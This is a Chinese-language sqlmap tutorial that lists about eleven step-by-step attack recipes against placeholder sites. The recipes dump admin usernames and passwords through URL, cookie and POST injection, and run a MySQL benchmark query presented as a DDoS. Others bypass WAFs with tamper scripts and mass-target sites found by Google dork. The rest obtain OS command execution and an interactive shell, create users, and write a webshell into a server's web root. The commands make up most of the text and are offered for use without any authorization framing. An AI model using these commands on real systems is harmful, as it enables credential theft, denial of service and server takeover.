sqlmap的基本使用
前言
sqlmap也是渗透中常用的一个注入工具,据说,在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。今天我把一些SQLmap的使用整理一下。
一共有11种常见SQLmap使用方法:
SQLmap用于Access数据库注入
- 猜解是否能注入 - python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
- 猜解表 - python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
- 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表) - python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
- 根据字段猜解内容(假如通过3得到字段为username和password) - python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
SQLMAP用于Cookie注入
- cookie注入,猜解表 - python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2
- 猜解字段,(通过1的表猜解字段,假如表为admin) - python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T admin --level 2
- 猜解内容 - python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T admin -C "username,password" --level 2
SQLMAP用于mysql中DDOS攻击
- 获取一个Shell - python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
- 输入执行语句完成DDOS攻击 - select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
SQLMAP用于mysql注入
- 查找数据库 - python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs
- 通过第一步的数据库查找表(假如数据库名为dataname) - python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables
- 通过2中的表得出列名(假如表为table_name) - python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns
- 获取字段的值(假如扫描出id,user,password字段) - python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C "id,user,password" --dump
SQLMAP中post登陆框注入
其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件
我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。
- 浏览器打开目标地址http:// www.xxx.com /Login.asp 
- 配置burp代理(127.0.0.1:8080)以拦截请求 
- 点击login表单的submit按钮 
- 这时候Burp会拦截到了我们的登录POST请求 
- 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下 
- 运行sqlmap并使用如下命令: - ./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。
注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass
自动的搜索
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms
指定参数搜索
sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"
SQLMAP中Google搜索注入
inurl后面的语言是由自己定的
注入过程中如果选y是注入,如果不是选n
sqlmap -g inurl:php?id=
SQLMAP中的请求延迟
参数 –delay –safe-freq
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
SQLMAP绕过WAF防火墙
注入点:http://192.168.159.1/news.php?id=1
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"
space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py都是编码方式
SQLMAP查看权限
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges
SQLMAP伪静态注入
- 查找数据库 - python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
- 通过1中的数据库查找对应的表 (假如通过1,得到的是dataname) - python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables
- 通过2中的数据表得到字段(假如得到的是tablename表) - python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T tablename --columns
- 通过3得到字段值(假如从3中得到字段id,password) - python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T tablename -C "password" --dump
SQLMAP注入点执行命令与交互写shell
- 注入点:http://192.168.159.1/news.php?id=1 
 此处采用的是Linux系统- sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-cmd=ipconfig
 出现语言的选择根据实际的测试网站选择语言
 指定目标站点D:/www/
- 获取Shell - sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --os-shell
 出现语言的选择根据实际的测试网站选择语言
 指定目标站点D:/www/
 输入ipconfig/all
 创建用户和删除用户
 只要权限足够大,你可以输入使用任何命令。
 其他命令参考下面:
 从数据库中搜索字段- sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:“E:\php\htdocs\dvwa”
- 注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap详细命令:
- -is-dba 当前用户权限(是否为root权限) 
- -dbs 所有数据库 
- -current-db 网站当前数据库 
- -users 所有数据库用户 
- -current-user 当前数据库用户 
- -random-agent 构造随机user-agent 
- -passwords 数据库密码 
- -proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理 
- -time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)